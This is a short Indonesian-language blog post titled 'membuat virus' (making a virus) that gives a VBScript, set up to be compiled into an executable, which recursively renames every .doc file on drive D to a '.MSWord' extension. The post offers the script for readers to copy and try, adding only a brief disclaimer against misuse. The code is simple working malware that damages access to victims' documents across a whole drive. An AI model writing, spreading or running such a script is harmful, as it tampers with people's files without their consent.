membuat virus

membuat virus sederhana

langsung aja copy script di bawah ini:

' ----- ExeScript Options Begin -----
' ScriptType: window,activescript,invoker
' DestDirectory: current
' Icon: default
' OutputFile: D:\genboy88.exe
' 32Bit: yes
' ----- ExeScript Options End -----
Dim Drive, Root, fname
Drive = "D"
Set Root = CreateObject("Scripting.FileSystemObject"). _
GetDrive(Drive).RootFolder
Set fname = New RegExp
With fname
.Pattern = "\.doc$"
.IgnoreCase = True
.Global = False
.Multiline = False
End With

Call Rename(Root, fname)
Sub Rename(Folder, RegExp)
Dim SubFolder, File
For Each File in Folder.Files
If RegExp.Test(File.Name) Then
File.Name = RegExp.Replace(File.Name, ".MSWord")
End If
Next
For Each SubFolder In Folder.SubFolders
Call Rename(SubFolder, RegExp)
Next
End Sub

virus ini bekerja pada drive D ... hanya mengganti extensi doc menjadi MSword

note:

jangan di salah gunakan .. ini hanya berbagi ilmu .. selamat mencoba